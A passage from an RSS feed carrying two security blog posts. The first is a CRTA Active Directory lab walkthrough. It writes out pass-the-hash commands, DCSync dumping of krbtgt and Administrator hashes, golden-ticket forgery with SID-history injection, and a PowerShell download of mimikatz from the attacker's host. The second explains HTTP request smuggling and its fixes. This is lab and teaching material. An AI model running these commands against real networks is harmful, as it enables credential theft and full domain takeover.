NTLM hash across internal targets<br><br>nxc smb 192.168.98.30 -u corpmngr -H 4cb3933610b827a281ec479031128cc6 <br># [-] Target host (Source) - no new administrative vantage<br><br>nxc smb 192.168.98.120 -u corpmngr -H 4cb3933610b827a281ec479031128cc6 <br># [+] Status: SMB Login Successful (Pwned! / (Pwn3d!) Local Administrator confirmed)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f7lnovPmT4YnKQ3jUBeQ_g.png" /></figure><blockquote>Actually We <strong>dumped</strong> the credentials using <strong>mimikatz</strong> from the machine 192.168.98.30 and got the <strong>NTLM hash</strong> of the<strong> corpmngr</strong> user then we tested the hash with different machines in the AD network and found that he has<strong> full smb write access </strong>on 192.168.98.120.</blockquote><p>Outcome: corpmngr has full administrative access and write privileges on 192.168.98.120.</p><h4>(c) Pass-the-Hash Remote Execution via PsExec</h4><p>With confirmed local administrative permissions on 192.168.98.120, leverage Impacket&#39;s psexec.py to obtain a high-privileged interactive shell.</p><pre># Attempting remote execution against unprivileged host (Expected: Failure)<br>impacket-psexec &#39;child/corpmngr@192.168.98.30&#39; -hashes :4cb3933610b827a281ec479031128cc6<br><br># Exploiting verified administrative target (192.168.98.120)<br>impacket-psexec &#39;child/corpmngr@192.168.98.120&#39; -hashes :4cb3933610b827a281ec479031128cc6</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N50KwyraYzka2ZjQCfXTvg.png" /></figure><blockquote>Boooooom got the shell !!!!!</blockquote><blockquote>Again sent the reverse shell binary that we generated earlier through msfconsole to the new <strong>192.168.98.120</strong> machine to get a more stable shell then the currrent psexec shell.</blockquote><h3>05 — Privilege Escalation from Child-to-Parent Domain Controller (SID History Injection)</h3><p>First of all I sent the powerview.ps1 script from my kali machine to the 192.168.98.120 machine.<br><strong>PowerView.ps1 is a powerful, widely used PowerShell script</strong> designed for reconnaissance and <strong>Active Directory (AD) domain enumeration.</strong></p><p><strong>SID History Injection Attack Mechanics</strong></p><pre># Requirements to move from child DC ---&gt; parent DC<br>admin priv on child<br><br>need the krbtgt hash from child<br><br>SID of the both machines (child and parent)<br><br>SID history injection will be done</pre><h4>(a) Trust &amp; Forest Reconnaissance</h4><pre>Import-Module .\powerview.ps1<br><br># Using the Active Directory module (if RSAT is present)<br>Get-ADTrust -Filter *<br><br>(Get-ADForest).Domains<br># Using PowerView (no RSAT dependencies)<br>Get-DomainTrust<br>Get-NetForestDomain</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AiXXyEv5QbjdYSpXXXl-7g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/630/1*-_FUa107NORnYHuKaekWqA.png" /></figure><p><strong>Target Infrastructure Mapping</strong></p><ul><li>Forest Root Domain: warfare.corp (DC: dc01.warfare.corp)</li><li>Child Domain: child.warfare.corp (DC: cdc.child.warfare.corp / 192.168.98.120)</li><li>Trust Type: Bidirectional, Transitive intra-forest trust.</li></ul><h4>(b) Extracting Child Domain Secrets (krbtgt)</h4><p>Now we will try to dump krbtgt hash from child.warfare.corp and it will be possible because corpmngr is a local admin here.</p><p>To forge a Ticket Granting Ticket (TGT) for the child domain, we require the NTLM hash or AES-256 key of the child domain’s krbtgt account.</p><p><strong>Remote Hash Dumping via DCSync (</strong><strong>secretsdump.py)<br></strong>Because DCSync requests directory replication over MS-DRSR, run it from the attacker machine.:</p><pre>impacket-secretsdump &#39;child.warfare.corp/corpmngr@192.168.98.120&#39; -hashes :4cb3933610b827a281ec479031128cc6 -just-dc-user &#39;child\krbtgt&#39;<br># krbtgt aes 256 hash<br># ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qjeftrwKo7imxykb6lzHrQ.png" /></figure><h4>(C) Domain Identifier (SID) Enumeration</h4><p>A cross-domain Golden Ticket requires the Security Identifiers (SIDs) of both the target domains to calculate security tokens correctly:</p><ol><li>Child Domain SID: Used to define the ticket issuing authority.</li><li>Parent Domain SID: Appended with RID 519 (Enterprise Admins) inside the sids attribute (SID History).</li></ol><pre># Retrieve Child Domain SID<br>Get-DomainSID -Domain child.warfare.corp<br># output -&gt; S-1-5-21-3754860944-83624914-1883974761<br><br># Retrieve Parent Domain SID<br>Get-DomainSID -Domain warfare.corp<br># output -&gt; S-1-5-21-3375883379-808943238-3239386119</pre><p><strong>Why SID History Injection Works Across Trusts</strong></p><ul><li>The Active Directory SIDHistory attribute exists to maintain access to resources when accounts migrate from one domain to another.</li><li>When a user presents a TGT, the Key Distribution Center (KDC) populates the PAC (Privilege Attribute Certificate) with the user’s primary group memberships alongside all SIDs listed in their SIDHistory.</li><li>By default, intra-forest trusts do not enable SID filtering.</li><li>If an attacker generates a ticket inside child.warfare.corp and injects the parent domain&#39;s Enterprise Admins SID (&lt;Parent-Domain-SID&gt;-519) into the SID History field, the root Domain Controller accepts the ticket and grants forest-wide administrative privileges.</li></ul><h4>(d) Ticket Forgery &amp; Escalation Execution</h4><pre>C:\Users&gt; dir \\dc01.warfare.corp\C$<br># [-] Access is denied.<br># now we will forge a golden ticket using mimikatz and then try to access the share.<br><br>C:\Users&gt; powershell -Command &quot;Invoke-WebRequest -Uri &#39;http://192.168.98.15:8000/mimikatz.exe&#39; -OutFile &#39;C:\Users\mimi.exe&#39;&quot;<br><br>C:\Users&gt;mimi.exe<br><br>mimikatz # kerberos::golden /user:Administrator /domain:child.warfare.corp /sid:S-1-5-21-3754860944-83624914-1883974761 /sids:S-1-5-21-3375883379-808943238-3239386119-519 /aes256:ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2 /startoffset:0 /endin:600 /renew:10080 /ptt<br>mimikatz # exit<br><br>C:\Users&gt; klist</pre><p>I was getting a error again and again actually i was able to cache the ticket in memmory succesfully but I don’t know why it was disappearing again and again after a couple of seconds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L1DsVpIFJkdFuDvFFTOUVQ.png" /></figure><p>Wasted 3–4 hours in this tried many things but nothing was working for me at this point I felt stuck.</p><p>Again extracted SID’s and krbtgt hashes many times and checked if they are not incorrect.</p><p>Tried Rubeus.exe similar tool like mimikatz but same results were found. Rubeus, which has far better diagnostics than mimikatz, still showed the same pattern: ticket builds cleanly, injects, then vanishes from cache the moment you touch \\dc01.warfare.corp</p><p>The reason I can think of this is windows LSA cache path issues.</p><p>Then I came across impacket’s ticketer.py it does not injects ticket into memmory rather it generates a cache file which we can export.</p><pre>impacket-ticketer -domain child.warfare.corp -aesKey ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2 -domain-sid S-1-5-21-3754860944-83624914-1883974761 -groups 516 -user-id 1106 -extra-sid S-1-5-21-3375883379-808943238-3239386119-516,S-1-5-9 &#39;corpmngr&#39;<br># output -&gt; corpmngr.ccache<br><br># With the ticket created (corpmngr.ccache), we export it to our environment <br># variable so our tools can use it for authentication.<br>export KRB5CCNAME=corpmngr.ccache</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QCz9lPhMK9BPOGJzTMHyTw.png" /></figure><p>Next, we request Ticket Granting Service specifically for the Parent Domain Controller (dc01.warfare.corp). A Golden Ticket alone isn&#39;t enough to talk to the Parent DC, meaning we need a service ticket scoped specifically to it.</p><p>getST takes our forged Golden Ticket and requests a TGS for CIFS on dc01.warfare.corp, which is what gives us actual file system access.</p><pre>impacket-getST -spn &#39;CIFS/dc01.warfare.corp&#39; -k -no-pass child.warfare.corp/corpmngr -debug<br># output -&gt; corpmngr@CIFS_dc01.warfare.corp@WARFARE.CORP.ccache<br><br># We update our environment variable to use this new service ticket.<br>export KRB5CCNAME=corpmngr@CIFS_dc01.warfare.corp@WARFARE.CORP.ccache</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JL4uBJY5ySxsHBnGjPTtnQ.png" /></figure><h3>06 — Parent Domain Compromise</h3><p>With a valid ticket for the Parent DC, we can finally dump the Administrator’s hashes from the parent domain.</p><pre>impacket-secretsdump -k -no-pass dc01.warfare.corp -just-dc-user &#39;warfare\Administrator&#39;<br># Output -&gt; Administrator hashes <br># We will use only the NT Hash -&gt; b2ab0552928c8399da5161a9eb7fd283</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7YsWSq5s_Cdn5Du3zWPRnw.png" /></figure><p>Finally, we can use this hash to get a full shell on the Parent Domain Controller using psexec.</p><pre>impacket-psexec -debug &#39;warfare.corp/Administrator@dc01.warfare.corp&#39; -hashes :b2ab0552928c8399da5161a9eb7fd283</pre><blockquote>boooooom !!!!! we got the administrator shell !!!!</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MdzF68s7q6neUwVzP8u6RA.png" /></figure><h4>Now let’s discuss why mimikatz/rubeus was failing before and why impacket was succesfull: actually beacuase of <strong>different consumers of the ticket before and now.</strong></h4><p><strong>1. On Windows before</strong></p><p>mimikatz/Rubeus inject into the <strong>Windows LSA ticket cache</strong>, and every subsequent action (dir, DCSync, whatever) goes through the full Windows SSPI/Kerberos stack — which does its own validation, renewal checks, and can purge tickets it decides are invalid (clock issues, PAC issues, whatever tripped it before). Windows&#39; ticket handling is comparatively &quot;opinionated&quot; — it enforces stricter internal consistency checks before it&#39;ll let a ticket sit in cache and get reused.</p><p>2. <strong>On Linux/impacket now</strong></p><p>impacket-ticketer/getST generates a <strong>ccache file</strong> and Linux tools consume it directly for each request, with impacket&#39;s own minimal Kerberos implementation — much less validation logic, no LSA purging behavior, no proactive skew-driven ticket eviction. It just uses whatever&#39;s in the ccache for that one request. There&#39;s no &quot;cache&quot; in the Windows sense to vanish from — the file sits on disk until you delete it.</p><h3>Full Attack Mapping</h3><p>Here’s the full attack mapping and methodology.</p><h3>Attack Path Overview</h3><pre>[Internet/External] <br>      │<br>      ▼<br>[DMZ dual-homed Linux host] 192.168.80.10 / 192.168.98.15<br>      │  (pivot point between DMZ and internal AD network)<br>      ▼<br>[Member Server] 192.168.98.30 — child.warfare.corp<br>      │  (lateral movement into AD internal segment)<br>      ▼<br>[Child Domain Controller] 192.168.98.120 — cdc.child.warfare.corp<br>      │  (domain-level compromise of child.warfare.corp)<br>      │  (cross-domain escalation via SID History injection)<br>      ▼<br>[Parent Domain Controller] dc01.warfare.corp<br>      (full forest compromise)</pre><h3>Phase-by-Phase Breakdown</h3><p><strong>Phase 1 — Initial Access &amp; Foothold</strong></p><ul><li>Target: DMZ-facing dual-homed Linux host (192.168.80.10 externally, 192.168.98.15 internally).</li><li>The dual-homed nature is the critical detail — this host bridges the DMZ and internal AD network, making it the intended pivot.</li></ul><p><strong>Phase 2 — Pivoting into Internal Network</strong></p><ul><li>Used the DMZ box’s second NIC (192.168.98.15) as a pivot/proxy (used ligolo-ng) to reach the internal AD subnet.</li></ul><p><strong>Phase 3 — Lateral Movement to Member Server</strong></p><ul><li>Moved from the pivot to 192.168.98.30, a domain-joined member server in child.warfare.corp.</li></ul><p><strong>Phase 4 — Domain Compromise (Child Domain)</strong></p><ul><li>Escalated from the member server to full compromise of cdc.child.warfare.corp (192.168.98.120).</li><li>Obtained krbtgt hash via DCSync (impacket-secretsdump ... -just-dc-user &#39;child\krbtgt&#39;).</li></ul><p><strong>Phase 5 — Cross-Domain Privilege Escalation</strong></p><ul><li>Forged a Golden Ticket for child.warfare.corp with injected SID History for Enterprise Admins (-519) targeting the parent domain SID.</li><li>Initial mimikatz/Rubeus attempts failed intermittently (clock skew, then unexplained ticket cache purges on Windows) — ultimately succeeded using impacket-ticketer to forge the ticket instead.</li></ul><p><strong>Phase 6 — Full Forest Compromise</strong></p><ul><li>Used the SID-history ticket to authenticate to dc01.warfare.corp as a member of Enterprise Admins.</li><li>Ran DCSync against the parent DC to extract the real Administrator NT hash.</li><li>Used impacket-psexec with pass-the-hash to get a SYSTEM shell on dc01.warfare.corp.</li></ul><p>Thank you for reading till the end.</p><p>If you liked it Hit a like and follow for more amzing articles like this. !!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ae7eaa8d66d3" width="1" height="1" alt=""><hr><p><a href="https://cybersecuritywriteups.com/crta-active-directory-lab-walkthrough-ae7eaa8d66d3">CRTA Active Directory Lab Walkthrough</a> was originally published in <a href="https://cybersecuritywriteups.com/">Cyber Security Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Most Overlooked Vulnerability — Http request Smuggling]]></title>
            <link>https://infosecwriteups.com/the-most-overlooked-vulnerability-http-request-smuggling-0eeec415a0fb?source=rss-610eddb4688e------2</link>
            <guid isPermaLink="false">https://medium.com/p/0eeec415a0fb</guid>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[exploitation]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[http-request-smuggling]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Kuldeep Choudhary]]></dc:creator>
            <pubDate>Sat, 25 Jul 2026 21:04:36 GMT</pubDate>
            <atom:updated>2026-07-29T07:29:24.273Z</atom:updated>
            <content:encoded><![CDATA[<p>HTTP Request Smuggling is one of those vulnerabilities that sounds complicated, but the core idea is actually simple. Let’s Understand it in simplest way possible.</p><p>When your browser sends a request to a server there are generally two types of servers through which your request goes through -</p><h4><strong>1. Front end server</strong> (like a load balancer, reverse proxy, or CDN)</h4><h4><strong>2. Back end Server</strong> (Actual web application server)</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KrBnk5bkHQy2mc_QVAYGOw.png" /><figcaption>Types of Servers</figcaption></figure><p>The Front end Server uses a single TCP Connection and sends many requests at once to save computation time and costs.</p><p>The Question arises here is when a request comes to the Front end server how does it know that the request has ended here and the next request has been started, actually this is identified by the server using either of the two types of headers mentioned below-</p><h4><strong>1. Content-Length (CL)</strong></h4><h4><strong>2. Transfer-Encoding (TE)</strong></h4><p>Suppose there is a request as Follows :-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/605/1*yF-xzRw1C4vNBYFeg6dOBQ.png" /></figure><p>Here as you can see the Content-Length Header has value set to 13, you might wonder why it’s 13 and what are those \r\n actually these are non printable characters and \r\n is known as <strong>CRLF</strong> (Carraige return Line feed) it is used to represent a new line.</p><p>These are non printable characters but they are counted in Content-Length calculation and \r is 1 byte and \n is also 1 byte so \r\n together counted as 2 bytes.</p><p>Again now also if you count the full length of the body it should be 15 bytes right ?</p><p>Nopes, the first \r\n is used to seprate header and body and body starts behind it so the content length will be 13 only.</p><p>So the front end server will read the Content-Length and would know that after 13 bytes the request will be finished and next request will be started from there.</p><p>Now what if the server is using Transfer-Encoding to know where the request gets Terminated ?</p><p>Suppose there is a request as Follows :-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/1*yYO6ljV5MSF22OdoXRY8Ew.png" /></figure><p>There is slight difference in how size calculation is done in Content-Length and in Transfer-Encoding: chunked :-</p><p><strong>How Chunked Encoding Length Works :-</strong></p><p>In HTTP/1.1 chunked encoding, each chunk consists of:</p><ol><li><strong>Chunk size</strong> in <strong>hexadecimal</strong> followed by \r\n</li><li><strong>Chunk data</strong> (exact byte count specified by the size) followed by \r\n</li><li>A final chunk size of <strong>0</strong> followed by \r\n to end the message</li></ol><p>The chunk size specifies <strong>only the length of the data content</strong>, excluding the \r\n line breaks.</p><blockquote>So as you can see the chunk size in the request is 5 and in next line “Hello” which is of length 5 and in last line there is a <strong>0</strong> to tell the server that the request has been terminated.</blockquote><p><strong><em>All GOOD, but where is the Vulnerability ?</em></strong></p><blockquote>The Vulnerability arises when one of the servers from the front end server and the back end server is using either of the one technique to check for request termination.</blockquote><h4>Types of Vulnerabilities :-</h4><p><strong>1. CL.TE (Frontend uses </strong><strong>Content-Length, backend uses </strong><strong>Transfer-Encoding)</strong></p><p><strong>2. TE.CL (Frontend uses </strong><strong>Transfer-Encoding, backend uses </strong><strong>Content-Length)</strong></p><p><strong>3. TE.TE (Both use </strong><strong>Transfer-Encoding, but one parses it differently)</strong></p><blockquote>But you might wonder how do attackers actually exploit this vulnerability ?</blockquote><p>The answer is very simple they just add both the headers into the request and there is a <strong><em>desync</em></strong><em> </em>created between the servers as both of them are relying on different headers.</p><h4>Practical Example of a CL.TE Exploit -</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*FJhl1nT8ztN3YP-PLDYLUQ.png" /></figure><p>Front-end trusts Content-Length&amp; Back-end trusts Transfer-Encoding</p><p><strong>What happens:</strong></p><ul><li><strong>Front-end</strong> reads Content-Length: 13, so it thinks the body is &quot;0\r\n\r\nSMUGGLED&quot; (13 bytes) — the request ends there. It forwards everything as one request.</li><li><strong>Back-end</strong> ignores Content-Length and instead trusts Transfer-Encoding: chunked. It sees the chunk 0, which means &quot;end of chunked body&quot; — so it treats the request as<strong> ending right there</strong>.</li><li>That leaves SMUGGLED sitting unconsumed in the connection buffer. The back-end now treats SMUGGLED as the <strong>start of the next request</strong> on that same connection.</li></ul><p>If another legitimate user’s request comes in right after on that same reused connection, the back-end may accidentally <strong>glue the attacker’s leftover text onto the front of that innocent request</strong> — corrupting it, redirecting it, or letting the attacker read/manipulate parts of someone else’s traffic.</p><blockquote>The attacker can also add a full new mallicious request at the place of SMUGGLED</blockquote><p>For example :-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/1*_jmuwick2KNKJqrkHS4NQg.png" /></figure><p><strong>What happens:</strong></p><ul><li><strong>Front-end </strong>trusts Content-Length so it thinks everything inside those 43 bytes belongs to ONE request so forwards all of it.</li><li><strong>Back-end</strong> trusts Transfer-Encoding It sees 0 which means request finished.</li></ul><blockquote>So the <strong>remaning data remains in the request Pipeline</strong> and now the server thinks Ohhhhh <strong>a new request has just arrived</strong>.</blockquote><h4><strong>Classic HTTP Request Smuggling primarily affects only HTTP/1.1</strong> because HTTP/1.1 has ambiguous ways to determine where a request ends.</h4><blockquote>This ambiguity is what makes request smuggling possible.</blockquote><h3>Why Request Smuggling Matters (real-world impact)</h3><ul><li>Bypassing front-end security filters (WAF rules)</li><li>Stealing session tokens / hijacking other users’ requests</li><li>Cache poisoning</li><li>Gaining access to internal-only endpoints</li></ul><h3>The Fix</h3><ul><li>Reject requests that specify <strong>both</strong> Content-Length and Transfer-Encoding</li><li>Normalize/reject ambiguous requests at the front-end</li><li>Use HTTP/2 end-to-end where possible (removes this ambiguity)</li><li>Keep front-end and back-end parsers consistent, or use the same software stack</li></ul><h3>HTTP/2</h3><p>HTTP/2 <strong>does not use</strong>:</p><ul><li>Content-Length to delimit frames</li><li>Transfer-Encoding: chunked</li></ul><p>Instead, HTTP/2 sends data in <strong>binary frames</strong>, and each frame has its own explicit length. There is no ambiguity about where one request ends.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0eeec415a0fb" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/the-most-overlooked-vulnerability-http-request-smuggling-0eeec415a0fb">The Most Overlooked Vulnerability — Http request Smuggling</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>